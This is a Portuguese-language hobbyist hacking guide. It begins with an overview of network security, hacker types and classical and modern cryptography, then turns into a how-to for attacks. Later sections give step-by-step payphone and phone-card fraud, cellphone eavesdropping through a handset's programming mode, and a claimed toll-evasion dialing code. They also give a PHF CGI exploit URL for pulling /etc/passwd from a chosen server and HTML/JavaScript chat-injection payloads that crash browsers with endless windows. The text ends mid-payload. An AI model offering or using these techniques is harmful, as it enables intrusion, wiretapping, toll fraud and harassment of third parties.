Durante as primeiras décadas de sua existência, as redes de computadores foram principalmente usadas por pesquisadores universitários, para enviar mensagens de correio eletrônico, e por funcionários de empresas, para compartilhar impressoras. Sob essas condições, a segurança nunca precisou de maiores cuidados. Mas atualmente, como milhões de cidadãos comuns estão usando as redes para executar operações bancárias, fazer compras e arquivar suas devoluções de impostos, a segurança das redes está despontando no horizonte como um problema em potencial.
               A segurança é um assunto abrangente e inclui inúmeros tipos de pecados. Em sua forma mais simples, a segurança se preocupa em garantir que pessoas mal-intencionadas não leiam ou, pior ainda, modifiquem mensagens enviadas a outros destinatários. Outra preocupação da segurança se volta para as pessoas que tentam ter acesso a serviços remotos, os quais elas não estão autorizadas a usar. Ela também permite que você faça a distinção entre uma mensagem supostamente verdadeira e um trote. A segurança trata de situações em que mensagens legítimas são capturadas e reproduzidas, além de lidar com pessoas que negam terem enviado determinadas mensagens.
               A maior parte dos problemas de segurança são intencionalmente causadas por pessoas que tentam obter algum benefício ou prejudicar alguém.
              Veja abaixo quem são e o que fazem estas pessoas:

             De todas estas pessoas, as que mais merecem destaque e que serão objetos do nosso estudo são os Hackers.
Hackers

               A hierarquia do mundo underground é muito simples: ou a pessoa é um Hacker, ou não. Simples assim: se a pessoa tem conhecimentos aprofundados em qualquer assunto (de preferência pouco explorado), ela pode se considerar um Hacker; caso contrário, se a pessoa não tem nenhuma novidade em nenhum campo da computação ou correlatos, e apenas utiliza o conhecimento dos Hackers para fazer suas investidas, ela é considerada inferior, pouco ou nada interessante, e é sumariamente ignorada.
               Dentro do fechado e pequeno grupo dos verdadeiros gênios dos computadores,
podem-se distinguir três sub-grupos principais:

               Hacker: É aquela pessoa que possui uma grande facilidade de análise, assimilação, compreensão e capacidades surpreendentes de conseguir fazer o que quiser (literalmente) com um computador. Ele sabe perfeitamente que nenhum sistema é completamente livre de falhas, e sabe onde procurar por elas, utilizando de técnicas das mais variadas (aliás, quanto mais variado, mais valioso é o conhecimento do Hacker).
               Cracker: Possui tanto conhecimento quanto os Hackers, mas com a diferença     de que, para eles, não basta entrar em sistemas, quebrar senhas, e descobrir falhas. Eles precisam deixar um aviso de que estiveram lá, geralmente com recados malcriados, algumas vezes destruindo partes do sistema, e até aniquilando com tudo o que vêem pela frente. Também são atribuídos aos crackers programas que retiram travas em softwares, bem como os que alteram suas características, adicionando ou modificando opções, muitas vezes relacionadas à pirataria.
               Phreaker: É especializado em telefonia. Faz parte de suas principais atividades     as ligações gratuitas (tanto local como interurbano e internacional), reprogramação de centrais telefônicas, instalação de escutas (não aquelas colocadas em postes telefônicos, mas imagine algo no sentido de, a cada vez que seu telefone tocar, o dele também o fará, e ele poderá ouvir sua conversa), etc. O conhecimento de um phreaker é essencial para se buscar informações que seriam muito úteis nas mãos de mal-intencionados. Além de permitir que um possível ataque a um sistema tenha como ponto de partida     provedores de acessos em outros países, suas técnicas permitem não somente ficar invisível diante de um provável rastreamento, como também forjar o culpado da ligação fraudulenta, fazendo com que o coitado pague o pato (e a conta).
               Agora, fora desses grupos acima, temos inúmeras categorias de "não-Hackers", onde se enquadram a maioria dos pretendentes a Hacker, e a cada dia, surgem novos termos para designá-los. São os principais:
               Lamers: Lamer é aquele cara que quer aprender sobre Hackers, e sai    perguntando para todo mundo. Os Hackers, ou qualquer outra categoria, não gostam disso, e passam a lhe insultar, chamando-o de lamer. Ou seja, novato.
               Wannabe: É o principiante que aprendeu a usar algumas receitas de bolo     (programas já prontos para descobrir senhas ou invadir sistemas), entrou em um provedor de fundo de quintal e já acha que vai conseguir entrar nos computadores da Nasa.
               Arackers: Esses são os piores! Os "Hackers-de-araque", são a maioria absoluta     no submundo cibernético. Algo em torno de 99,9%. Fingem ser os mais ousados e espertos usuários de computador, planejam ataques, fazem reuniões durante as madrugadas (ou pelo menos até a hora em que a mãe mandar dormir), contam de casos absurdamente fantasiosos, mas no final das contas vão fazer download no site da Playboy ou jogar algum desses "killerware", resultando na mais chata e engraçada espécie: a "Odonto-Hackers" - o Hacker da boca pra fora!
               O termo: Hacker, originalmente, designava qualquer pessoa que fosse extremamente especializada em uma determinada área. Qualquer fera em qualquer assunto, poderia ser considerado um Hacker. Por exemplo: sua Tia Matilde pode ser um Hacker da culinária, ou seu mecânico predileto pode ser um Hacker de automóveis... Somente com a ajuda do cinema americano, é que o termo Hacker de Computador passou a ser utilizado largamente, mas nem por isso perdeu sua identidade. Quem não se lembra do filme War Games, onde um garoto, brincando com seu modem, acessa (por acidente!) o NORAD, simplesmente o computador responsável pela segurança de guerra dos Estados Unidos da América? Evidentemente, as pesquisas e técnicas realizadas pelo garoto para descobrir a senha do suposto jogo (ele não sabia em que estava se metendo) é digna de um Hacker. Pelo menos dos Hackers daquela época...
               Seguindo a lógica americana, que produz "filmes propagandas" que induzem aos telespectadores desejar ser o que o filme mostra - assim como TopGun foi uma propaganda à Marinha, e Cortina de Fogo uma propaganda para o Corpo de Bombeiros, com War Games aconteceu a mesma coisa: vários adolescentes que tinham um modem começaram a sonhar com os controles da terceira guerra mundial em suas mãos, ou mais especificamente em sua escrivaninha, no quarto.
               Isso não quer dizer que este filme foi a base de lançamento de atitudes Hacker por todo o mundo, mas foi um dos responsáveis pela dilatação desses pensamentos. O mercado americano (sim, mais uma vez estamos girando em torno dos Estados Unidos - tem outro jeito?) abarrotou as prateleiras de livros como Cyberpunk, e mais tarde, qualquer nota sobre invasão de sistemas ou crimes relacionados a computadores ganhavam um espaço cada vez maior na mídia. Existiam Hackers de verdade sim!
               Eram pessoas que trabalhavam em projetos de computadores e técnicos altamente especializados. Mas também existiam aqueles garotos, que após descobrirem que invadir um sistema ou lançar um míssil não era tão fácil quanto ver um filme ou ler um livro, insistiram e estudaram muito (as maiores virtudes dos Hackers são a força de vontade e a dedicação aos estudos), conseguiram muitas proezas e hoje, grande parte trabalha na área de segurança de computadores. O resto está preso.
               A grande maioria dos Hackers são jovens. Dizem que é uma fase da vida de cada micreiro. E além do mais o jovem tem muito mais tempo para estudar e aprender. Depois que cresce, precisa se preocupar com a vida de verdade e passa a trabalhar (geralmente com computadores), deixando de invadir sistemas ou fazer coisas piores. Os poucos que continuam a praticar atos de Hacker são espiões industriais ou especialistas em segurança, e passam a fazer um jogo de gente grande, onde a pessoa vai precisar deter de verdade os invasores perigosos (os espiões), e estes se protegerem do risco de invadir sistemas (e da polícia).
               Não poderemos continuar falando sobre Hackers, se antes não explicarmos  o que é, e como funciona a Criptografia.
 
 

Criptografia

               Historicamente, quatro grupos de pessoas utilizaram e contribuíram para a arte da criptografia: os militares, os diplomatas, as pessoas que gostam de guardar memórias e os amantes. Dentre eles, os militares tiveram o papel mais importante e definiram as bases para a tecnologia. Dentro das organizações militares, tradicionalmente as mensagens a serem cifradas são entregues a auxiliares mal pagos que se encarregam de criptografá-las e transmiti-las. O grande volume de mensagens impedia que esse trabalho fosse feito por poucos especialistas.
               Até o advento dos computadores, uma das principais restrições da criptografia era a habilidade do auxiliar de criptografia fazer as transformações necessárias, em geral com poucos equipamentos e no campo de batalha. Uma outra restrição era  a dificuldade de alternar os métodos criptográficos rapidamente, pois isso exigia a repetição do treinamento de um grande número de pessoas. No entanto, o perigo de um auxiliar de criptografia ser capturado pelo inimigo tornou indispensável a possibilidade de alterar o método criptográfico instantaneamente, se necessário.
               A criptografia funciona do seguinte modo: as mensagens a serem criptografadas, conhecidas como texto simples, são transformadas por uma função que é parametrizada por uma chave. Em seguida, a saída do processo de criptografia, é conhecida como texto cifrado.
               A arte de criar mensagens cifradas (criptografia) e solucioná-las (criptoanálise) é coletivamente chamada de criptologia (criptology).
               Será sempre útil e prático ter uma notação para estabelecer uma relação entre o texto simples, o texto cifrado e as chaves. Utilizaremos C = EK(P) para denotar que a criptografia do texto simples ‘P’ usando a chave ‘K’ gera o texto cifrado ‘C’. da mesma forma, P = DK(C) representa a decriptografia de ‘C’ para obter-se o texto simples outra vez. Em seguida temos:
DK(EK(P)) = P

               Essa notação sugere que ‘E’ e ‘D’ são simplesmente funções matemáticas, o que é verdade. A única parte complicada é que ambas são funções de dois parâmetros, e escrevemos um desses parâmetros (a chave) como um caractere subscrito, em vez de como um argumento, para distingui-lo da mensagem.
               Uma regra fundamental da criptografia é que se deve assumir que o analista especializado conheça o método genérico de criptografia que é utilizado. Em outras palavras, o criptoanalista sabe como funciona o método de criptografia, ‘E’. O esforço necessário para inventar, testar e instalar um novo método a cada que o antigo é (supostamente) comprometido sempre dificultou a manutenção deste segredo.
               É nesse ponto que a chave entra. A chave consiste em um string (relativamente) curto que seleciona uma das muitas possíveis formas de criptografia. Ao contrário do método genérico, que só pode ser modificado de anos em anos, a chave pode ser alterada sempre que necessário. Portanto, nosso modelo básico é um método genérico publicamente conhecido, parametrizado com uma chave secreta que pode ser alterada com facilidade.
               Não é possível enfatizar o caráter não-sigiloso do algorítimo. Ao tornar o algorítimo público, o especialista em criptografar se livra de consultar inúmeros de criptólogos ansiosos por decodificar o sistema para que possam publicar artigos demonstrando sua esperteza e inteligência. Caso muitos especialistas tenham tentado decodificar o algorítimo durante cinco anos após a sua publicação e nenhum tenha tido sucesso, isso provavelmente significa que o algorítimo seja muito bom.
               Na verdade o sigilo está na chave, e seu tamanho é uma questão muito importante do projeto. Considere que uma combinação esteja bloqueada. O princípio geral é o de que você informa os dígitos seqüencialmente. Todo mundo sabe disso, mas a chave é secreta. Uma chave com o tamanho de dois dígitos permite 100 combinações , e uma chave com seis dígitos significa um milhão de combinações. Quanto maior for a chave, mais alto será o fator de trabalho (work factor) com que o criptoanalista terá de lidar. O fator de trabalho para decodificar o sistema através de uma exaustiva pesquisa no espaço da chave é exponencial em relação ao tamanho da chave. O sigilo é decorrente da presença de um algorítimo eficaz (mas público) e de uma chave longa. Para impedir que o seu irmãozinho leia as suas mensagens de correio eletrônico, serão necessárias chaves de 64 bits. Para manter o governo de outros países à distância, são necessárias chaves de pelo menos 256 bits.
               Do ponto de vista do criptoanalista, o problema de criptoanálise apresenta três variações principais. Quando tem um determinado volume de texto cifrado mas nenhum texto simples, o analista é confrontado com o problema de haver somente texto cifrado (ciphertext only). Os criptogramas da seção de palavras cruzadas do jornal são um exemplo desse tipo de problema. Quando há uma correspondência entre o texto cifrado e o texto simples, o problema passa a ser chamado de texto simples conhecido (known plain text). Por fim, quando o criptoanalista tem a possibilidade de codificar trechos do texto simples escolhidos por ele mesmo, temos o problema do texto simples escolhidos (chosen plaintext). Os criptogramas dos jornais poderiam ser trivialmente decodificados se o criptoanalista tivesse a permissão de fazer perguntas tais como: Qual é a criptografia para ABCDE?
               Com freqüência, os novatos na área de criptografia pressupõem que se uma condição puder resistir a uma estratégia de texto cifrado, isso significa que ela é segura. Essa suposição é muito ingênua. Em muitos casos, o criptoanalista pode fazer uma estimativa com base em trechos do texto simples. Por exemplo, a primeira mensagem que muitos sistema de tempo compartilhado emite quando você o chama é: “POR FAVOR, ESTABELEÇA O LOGIN”. Equipado com alguns pares do texto simples / texto cifrado, o trabalho do criptoanalista se torna muito mais fácil. Para obter segurança, o autor da criptografia deve ser conservador e se certificar de que o sistema seja inviolável mesmo que seu oponente seja capaz de criptografar o texto simples escolhido.
               Historicamente, os métodos de criptografia têm sido divididos em duas categorias : as cifras de substituição e as cifras de transposição. Em seguida, trataremos de cada uma destas técnicas como informações básicas para a criptografia moderna.
 

Cifras de Substituição

               Em uma cifra de substituição (substitution ciphers), cada letra ou grupo de letras é substituído por outra letra ou grupo de letras, de modo a criar um “disfarce”. Uma das cifras mais antigas conhecidas é a cifra de César. Nesse modo, ’a’  passa a ser ‘D’, ‘b’ torna-se ‘E’, ‘c’ passa a ser ‘F’ e assim por diante. Por exemplo, ‘attack’ passaria a ser ‘DWWDFN’. Nestes exemplos, o texto simples é apresentado em letras minúsculas e o texto cifrado em maiúsculas.
               Uma ligeira generalização da cifra de César permite que o alfabeto do texto cifrado seja deslocado ‘k’ letras, em vez de 3. Neste caso ‘k’ passa a ser uma chave para o método genérico dos alfabetos deslocados circularmente. A cifra de César pode ter enganado os cartagineses, mas não enganou ninguém desde então.
               O próximo aprimoramento é fazer com que cada um dos símbolos do texto simples, digamos 26 letras, seja mapeado para alguma outra letra.

                 Texto simples:     a   b  c  d  e  f  g h  i  j  k  l  m n  o  p q  r  s  t  u  v w x  y  z
                 Texto cifrado:      Q W E R T Y U I O P A S D F G H  J K L Z X C V B N M

               Este sistema geral é chamado de substituição monoalfabética, sendo a chave o string de 26 letras correspondente ao alfabeto completo. Para a chave anterior, o texto ‘attack’ seria transformado no texto cifrado ‘QZZQEA’.
               A primeira vista, talvez este sistema pareça seguro ,pois apesar de conhecer o sistema genérico (substituição de letra por letra), o criptoanalista não sabe quais das 26! (aproximadamente 4x1026) chaves possíveis estão em uso. Ao contrário do que acontece com a cifra de César, experimentar todas elas não é uma estratégia muito interessante. Mesmo a 1µs por solução, um computador levaria 1013 anos para experimentar todas as chaves.
               Todavia, com um volume de texto cifrado surpreendentemente pequeno, a cifra pode ser descoberta com facilidade. A estratégia básica se beneficia das propriedades estatística dos idiomas.
               Outra estratégia é adivinhar uma palavra ou frase provável, nos EUA por exemplo, uma palavra muito provável em uma mensagem de uma empresa de contabilidade é ‘financial’. Utilizando o nosso conhecimento de que ‘financial’ tem três caracteres repetidos (‘n’, ‘i’ e ‘a’), com outras letras entre suas ocorrências, estamos procurando letras repetidas no texto com esse espaço entre elas. Desse ponto em diante, fica fácil deduzir a chave utilizando a estatística de freqüência para o texto em inglês.
 

Cifras de Transposição

               As cifras de substituição disfarçam a ordem dos símbolos no texto simples, apesar de preservarem sua ordem. Por outro as cifras de transposição (transposition ciphers) reordenam as letras, mas não as disfarçam. A figura abaixo mostra uma cifra de transposição muito comum, a transposição de colunas. A cifra se baseia em uma chave que é uma palavra ou frase contendo letras repetidas. Nesse exemplo, MEGABUCK é a chave. O objetivo da chave é numerar colunas de modo que a coluna 1 fique abaixo da letra da chave mais próxima do início do alfabeto, e assim por diante. O texto simples é escrito horizontalmente, em linhas. O texto cifrado é lido em colunas, a partir daquela cuja letra da chave seja mais baixa.

 
               Para romper uma cifra de transposição, o criptoanalista deve primeiro estar ciente de que está lidando com uma cifra de transposição.
               A próxima etapa é fazer uma perspectiva do número de colunas. Em muitos casos, uma palavra ou frase provável pode ser deduzida através do contexto da mensagem.
               A última etapa é ordenar as colunas. Quando o número de colunas , ‘k’, é pequeno, cada um dos pares de colunas k(k-1) pode ser examinado para que seja constatado se suas freqüências de diagrama correspondem às do texto simples em inglês. O par que tiver a melhor correspondência será considerado como posicionado da forma correta. Em seguida, cada uma das colunas restantes é experimentada como sucessora deste par. A coluna cujas freqüências de diagramas e trigramas proporcione a melhor correspondência será experimentalmente considerada como correta.
Criptografia Moderna
DES
               Em janeiro de 1977, o governo dos Estados Unidos adotou uma cifra de produto desenvolvida pela IBM como seu padrão oficial para informações não-confidenciais. A cifra, DES (Data Encryption Standard), foi largamente adotada pelo setor de informática para uso de produtos de segurança. Em sua forma original, ela já não é tão segura; no entanto se modificada ela ainda pode ser útil. Agora explicaremos como o DES funciona.
               O DES é basicamente uma cifra de substituição monoalfabética que utiliza um caractere de 64 bits. Sempre que o mesmo bloco de texto cifrado de 64 bits é submetido ao processo, obtém-se o mesmo bloco de texto cifrado em 64 bits. Um criptoanalista pode explorar essa propriedade para ajudá-lo a decifrar o DES.
               Para vermos como essa propriedade da cifra de substituição monoalfabética pode ser usada para subverter o DES, consideraremos a criptografia de uma longa mensagem de maneira mais óbvia: através de sua divisão em blocos consecutivos de 8 bytes (64 bits) e de sua decodificação um após o outro com a mesma chave. O último bloco volta a ter 64 bits, se necessário. Essa técnica é chamada de modo do livro de código eletrônico (electronic code book mode).

IDEA

               O IDEA foi projetado por dois pesquisadores na Suíça. Ele utiliza uma chave de 128 bits, que o tornará imune à qualquer técnica ou máquina conhecida atualmente.
               A estrutura básica do algoritmo se assemelha à do DES no que diz respeito ao fato dos blocos de entrada de texto simples de 64 bits serem deturpados em uma seqüência de interações parametrizadas para produzir blocos de saída de texto cifrado com 64 bits. Devido à extensiva deturpação dos bits (em cada iteração, cada bit de saída depende de cada bit de entrada), são necessárias oito interações.

Algorítimos de chave pública

               Historicamente, o problema da distribuição de chaves sempre foi o ponto fraco da maioria dos sistemas de criptografia. Mesmo sendo sólido, se um intruso pudesse roubar a chave, o sistema acabaria se tornando inútil. Como todos os criptólogos sempre presumem que a chave de criptografia e a chave de decriptografia são iguais (ou facilmente derivadas uma da outra) e que a chave seja distribuída a todos os usuários do sistema, tinha-se a impressão de que havia um problema embutido inerente: as chaves tinham de ser protegidas contra roubo, mas também tinham de ser distribuídas; portanto, elas não podiam ser simplesmente trancadas no caixa-forte de um banco.
               Em 1976, dois pesquisadores da Universidade de Stanford, Diffie e Hellman (1976), propuseram um sistema de criptografia radicalmente novo, no qual as chaves de criptografia e de decriptografia eram diferentes e a chave de decriptografia não podia ser derivada da chave de criptografia. Em sua proposta, o algorítimo de criptografia (chaveado), E, e o algorítimo de decriptografia (chaveado), D, tinham de atender a três requisitos, que podem ser declarados da seguinte forma:

1. D(E(P)) = P.
2. É excessivamente difícil deduzir D de E.
3. E não pode ser decifrado através do ataque de texto simples escolhido.

               O primeiro requisito diz que se aplicarmos D a uma mensagem criptografada, E(P), obteremos a mensagem de texto simples original P, outra vez. O segundo é auto-explicativo. O terceiro é necessário porque, como veremos em um minuto, os intrusos podem experimentar o algoritmo até se cansarem. Sob essas condições, não há razão para a chave criptográfica não se tornar pública.
               O método funciona da seguinte forma: Uma pessoa, desejando receber mensagens secretas, primeiro cria dois algoritmos, EA e DA, que atendem aos requisitos mostrados anteriormente. O algoritmo de criptografia e a chave, EA, se tornam públicos, daí o nome criptografia com chave pública – public key criptography (para diferenciá-la da criptografia tradicional com chave secreta). Isso pode ser feito colocando-se a chave em um arquivo que todos os interessados possam ler. Essa pessoa publica o algoritmo de decriptografia (para obter a consultoria grátis), mas mantém a chave de decriptografia secreta. Assim, EA é pública, mas DA é privada.
               Talvez seja interessante fazer uma observação sobre terminologia. A criptografia com chave pública exige que cada usuário tenha duas chaves: uma chave pública, que é usada pelo mundo inteiro para criptografar as mensagens a serem enviadas para esse usuário, e uma chave privada, que o usuário utiliza para decriptografar mensagens.

Métodos de invasão

Hacker:

Quebrando Senhas

Cavalo de Tróia

               O hacker infiltra em seu alvo um programa semelhante a um vírus. Mas, em lugar de destruir programas e arquivos, ele tem a função de descobrir senhas. O cavalo de Tróia pode ser enviado escondido numa mensagem na Internet ou num disquete que o hacker passa, com jogos ou outros programas, para usuários do computador que quer invadir. Cada vez que o usuário escreve nome e senha, o cavalo de Tróia grava os dados. Como é programado para se conectar com seu criador, por meio do modem, em dia e hora marcados, ele transmite os dados que copiou. Elementar, para quem conhece muito bem as linguagens de computador.

Farejamento de redes

               Para acelerar a sua transmissão, os dados que entram nas redes, provenientes de vários computadores, são agrupados em pacotes. O hacker cria programas farejadores que monitoram a circulação desses pacotes nas redes e procuram neles palavras como password e senha. Quando as encontra, o programa copia o pacote e o envia para o computador do hacker. Os dados chegam codificados, mas isso não é problema para ele, que, em geral conhece bem criptografia, o conjunto de técnicas que permite codificar dados.

Engenharia social

               É uma espécie de espionagem. Senhas com datas de nascimento, sobrenome ou nome dos filhos são muito comuns. Se o hacker tiver acesso a essas informações do usuário, vai tentá-las, como primeira opção, para descobrir sua senha. Alguns chegam a arrumar emprego temporário na empresa que pretendem invadir. Lá dentro, prestam atenção nos computadores. Ninguém cobre o teclado na hora de digitar a senha. Mesmo que tenha alguém por perto. Esse alguém pode ser um hacker.

Quebra-cabeça

               Um jeito simples de desvendar senhas é a velha tentativa e erro. Para isso, o hacker cria programas capazes de montar todo tipo de combinação de letras e números. O sistema funciona bem para senhas de até seis caracteres. O processo pode levar muito tempo, porque as tentativas precisam ser feitas em períodos curtos, com grandes intervalos (dias, se for possível) entre um e outro, para não despertar suspeitas. No Brasil é um método muito difundido, pois as senhas em geral são simples e dificilmente os computadores possuem sistema de proteção.

Phreaker:
 

Fraudando orelhões com um aparelho comum

               Primeiro você deve arrumar um telefone comum bem pequeno e compacto. Depois você tem que descascar os fios dele (vão dar em 2 fios). Então arrume um bom alicate, estilete ou faca e vá até um orelhão.
               Descasque os fios do orelhão pegue os dois fios descascados do orelhão e entrelace com os dois fios do seu telefone, observe a polarização, ou seja se o seu telefone portátil ficar sem linha inverta a posição dos fios telefônicos, pois, ao contrário do que muita gente pensa o orelhão tem fio negativo e positivo. Agora é só efetuar a ligação de seu telefone comum...
 
 
 

Fraude a orelhões através de notebook

               O processo para se conectar notebooks a orelhões, é igual ao de se conectar telefones comuns.
               Resumirei nesse item, algumas considerações a respeito da fiação do notebook, que segue os padrões da FCC Americana e é um pouco diferente da nossa.
               O conector do fio do notebook, é do tipo ‘jack’, tem quatro fios dentro dele. Arranque o conector de plástico transparente que fica na ponta do fio, pegue os dois fios centrais e separe-os dos fios das extremidades.
               Estes dois fios centrais, são os que serão utilizados para fazer a ligação no orelhão. Eu aconselho que você coloque jacarés neles (pequeno gancho achado em qualquer loja de componentes eletrônicos).
               Basta conectar-se a BBS's da mesma forma que você se conecta em casa. Caso você queira testar se está tudo ok, abra um programa de terminal qualquer e digite ATA, se fizer um barulhinho parecido com o tom de linha está tudo OK.

Fraude em caixa de verificação

               As caixas de verificação (ou armários na linguagem "técnica" da TELESP) são caixas de ferro, que geralmente ficam localizadas em vias públicas, e são utilizadas para se fazer a checagem das linhas telefônicas e detectar problemas antes que chegue a central. Tais caixas costumam ser da cor cinza e tem cerca de 1,5 m de altura, com um código em preto escrito na parte superior.
               Para fazer tal tipo de fraude, basta, que você pegue um das dezenas de pares de fios que se encontram lá e entrelace nos 2 fios de seu telefone portátil, cujo qual estará com seus fios descascados. Observe também a polarização. Vale lembrar que você não deve destruir a caixa para abri-la, se é que ela já não esteja arrombada.
 
 
 

Fraude com aparelho celular

               O sistema de telefonia celular é altamente vulnerável a escutas. É simples se fazer escutas telefônicas, e outras coisas como: clonagem de telefones para se efetuar ligações gratuitas, etc. Se você duvida, pegue um celular como o famoso e numeroso PT-550 da Motorola.
               Tire a bateria do celular e note que ha' três encaixes metálicos atras do aparelho. Coloque um pedaço de papel laminado no encaixe do meio e recoloque a bateria. Ligue o telefone (ele esta agora no modo de programação) e digite:

# 08 # 11 XXXX #

Onde:

               #08 Liga o áudio de RS (Receptor) #11 Ajusta canal de funcionamento do transreceptor XXXX numero do canal (aconselho a você tentar números abaixo de 800)

Exemplo:

#08#11567#

               Tente ate encontrar um canal onde haja conversa. Você esta fazendo uma escuta em um telefone celular. Não requer pratica nem tão pouco habilidade.

Ligando em orelhões à cartão sem pagar:
 
Enganando o telefone público

               Bote o cartão , assim que a pessoa falar ALÔ! segure o numero 9 e retire o cartão ,fique segurando o numero 9 até acabar de falar!

Grafite

               O grafite é um material super condutor que conduz energia, e o cartão funciona assim , ele tem uns 50 fusíveis, cada ligação gasta ele queima um fusível, então o nosso amigo grafite que é condutor de eletricidade, não deixa queimar os fusíveis então faça o seguinte atras do cartão,(na parte cinza) rabisque-a com força e ,bote no telefone publico e pronto ,mas lembre-se rabisque com força!

Esmalte de unha incolor

               O esmalte impede que esses fusíveis queimem, faça também esse com os cartões de vídeo game. Passe esmalte na parte de traz do cartão ,e no de vídeo game passe na parte da fita magnética! se você sabe  mais uma dica mande para mim! pode ter seu nome e seu e-mail aqui! Pegue o cartão telefônico ZERADO dai bote ele de molho na água cândida, depois de 3 ou 4 dias a tinta do cartão vai sair , depois pegue papel alumínio e cubra as partes metálicas com o papel alumínio , dai as ligações virarão infinitas!

Ligação internacional gratuita

               Para fazer uma ligação internacional, todos sabem que é muito fácil ligar, mas pagar que é o problema.
               Durante esses anos muitos vêm acessando BBS estrangeiras usando boxes para não pagar a ligação.
               Com o que vamos ensinar agora, você vai poder ligar para qualquer lugar do mundo pagando um impulso normal sem usar nenhum programa além do seu dial.
               O sistema é o seguinte: O número da linha para onde você vai ligar é 316-433-9418, nos EUA. Como você está no Brasil e vai ligar para os EUA você deve discar então 01 316-433-9418 (Vai pagar uma nota se fizer assim !). O que você deve fazer é usar um código de área que vai confundir os aparelhos da EMBRATEL, e esse código é 0008.
               Vamos detalhar tudo:
               Para enganar, você deve discar 0008 01 316-433-9418.

                 0           Ao discar o primeiro 0, a EMBRATEL vai pensar que é um procedimento normal e não vai dar nenhuma mensagem.

                 0      Ao discar o segundo zero a EMBRATEL vai tentar localizar um país que tenha como código de área 00. Não vai encontrar nenhum, mas como você vai ser rápido e discar o terceiro zero antes da mensagem poder ser passada para você. Aí você vai pensar... "Mesmo depois que eu já tiver discado o terceiro  número ela vai me dar a mensagem do segundo zero. "Não é verdade, pois os computadores estarão ocupados tentando localizar o terceiro zero e não terão  mais tempo de mandar a mensagem.

                 0                      Ao discar o terceiro zero os computadores da EMBRATEL já estarão totalmente doidos com os zeros que você estará discando. Lembre-se que você tem que ser rápido ao discar, pois se você demorar, as mensagens que ainda não apareceram, provavelmente  vão aparecer.

                 8                      Ao discar o oito você estará mostrando aos computadores da Embratel que estarão perdidos que você está querendo fazer uma ligação internacional.

                 0                      Mais um zero para deixar os computadores realmente perdidos.

                 1                      Código de área dos Estados Unidos. Pode ser trocado por qualquer outro código de qualquer outro país.
 
      316-433-9418            Número da casa de um coitado aí qualquer. Se quiserem se divertir passem uns trotes para ele....   Em inglês claro !
 



 
 ATAQUE VIA BROWSER

 

O ataque via browser é um dos ataques mais fáceis de executar, mas não
da nem 50% de sucessos nos ataques. Vou tentar explicar como você usa
esse método:

Primeiramente você tem que entender o que está fazendo, não adianta
selecionar a dica aperta CTRL+C e colocar no navegador achando que ele vai
fazer tudo para você não, entenda:

Bom, como já sabe o geralmente o arquivo "passwd" é o que contém os
passwords encripitados (se você não sabe ainda, dá um olhada na seção
"SISTEMA UNIX"), existem vários servidores que só Root pode entrar no
diretório "/etc", para outros usuários é bloqueado o acesso a esse diretório,
mas existe um método para tentar pegar esse arquivo. No diretório /cgi-bin do
Web Server (Pagina WEB do servidor) geralmente contém um arquivos
chamado PHF. O PHF permite aos usuários ganhar acesso remoto para
arquivos (inclusive o /etc/passwd). Então através desse arquivo você pode
tentar pegar a lista de passwords, é muito simples, apenas digite essa URL no
seu browser:

http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Então substitua o "xxx.xxx.xxx" pelo endereço do servidor que você quer
hackear.

Ex.: http://www.tba.com.br/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Bom, mas se você usar um pouco a cabeça vai ver que para que não de
nada errado e você pode usar o anonymizer (Se você não ainda o que é o
anonymizer, dá uma olhada na seção Anônimo), bom não é certeza que dá pra
usar não porque eu nunca tentei, mas pela lógica dá.

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Hackeando Chats
 

(Esses comandos só funcionam em chats com HTML)

COMANDO -1 - Este comando quando ativado mostra uma mensagem

na barra de status ; escreva o seguinte; - < a href="#still"

onMouseOver="window.status=' mensagem ';return true" >

 

COMANDO -2 - Quando o internauta escolhido passar com o mouse

em cima do link aparece na tela um aviso de alert ; - escreva o

seguinte;< a href="" onMouseOver="var bg=alert(' mensagem ' )" >

passe o mouse aqui</a>-você pode colocar foto ou gif substituindo a

mensagem.

 

COMANDO - 3 - Este comando abre uma janela de identificação na tela

do internauta escolhido; escreva o seguinte : -< FORM method=post

name="FormAction" action="mailto:"+ aqui você coloca o seu mail >

 

COMANDO - 4 - Para enviar imagem escreva o seguinte ; - < img

src=http://www. . . .coloque aqui o endereço da imagem . . .> - caso você

não tenha o endereço, procure no final da pagina: se preferir retornar

para a sala e quiser capturar uma imagem, clic com a tecla da direita do

mouse em cima da imagem, e olhe no LOCATION, la vai estar o

endereço.

COMANDO - 5 - Para você alterar a côr da mensagem, escreva o

seguinte : -< font color= . . .aqui você coloca a cor desejada "sempre em

ingles"..></font >

 

COMANDO - 6 - Para você alterar o tamanho da letra, escreva o

seguinte ; - <H1>. . .mensagem. . .</H1>..este comando vai de H1 até H6

 

COMANDO - 7 - Para fazer o texto correr, escreva o seguinte ; -<

marquee >. . .aqui você escreva o texto. . .</marquee>..este comando só

funciona com explorer e no chat da UNINET

 

COMANDO - 8 - Para centralizar o texto, escreva o seguinte ; -< center

>. . .aqui você escreva o texto..</center>

 

COMANDO - 9 - Para mudar o pano de fundo, escreva o seguinte ; -<

body bacground=http://www. ...aqui você coloca o endereço... jpg >..este

comando só funciona com explorer e no chat da UNINET

 

COMANDO - 10- Para você fazer um link, escreva o seguinte ; -< a

href=http://aki vc coloca o endereco > clic aqui e faça uma

viagem maravilhosa < /a >..quando o internauta clicar, ele aciona o link

e sai instantaneamente da sala.

 

COMANDO - 11 - -Comando para abrir 30 janelas do netscape;

 

<img src=http://www.matrix.com.br/frazzon/fogo.gif onLoad="alert('\n Hasta

La Vista Baby \n\n Bye Bye!!');variCounter=0;while(true)window.open('http:

//www.NETural.com/~ccamel');"CRASHING"+iCounter('width=1,height=1,resiza

ble=no');iCounter++">

 

12-Esse abre 30 janelas se vc passar o mouse em cima do link, que e' uma ima-

gem que pega toda a tela

<a href="" onMouseOver="alert('\n Vc nao deveria ter movido o mouse ate

aqui. \n\n HASTA La ViStA BaBy! \n\n «-&127ÐÍ£&127-»');while(true)history.go(0);

window.setTimeout('ReloadBomb()',1)"><img src="http://www.uninet.com.br

/~aod/xx/holes06.jpg"></a>

 

13-Esse e' para vc entrar na sala sem ser de imagens e detonar com todo mundo

que estiver com o java ligado. Abre 30 janelas direto.

 

&#60img src='http://www.matrix.com.br/frazzon/fogo.gif'&#62&#60i&#62&#60B&#62

¥X×HELL×X¥&#60/B&#62&#60/I&#62&#60imgsrc='http://www.matrix.com.br/frazzon/

fogo.gif' onLoad="alert('\n Entrei na sala e vc vai sair! \n\n When you mess

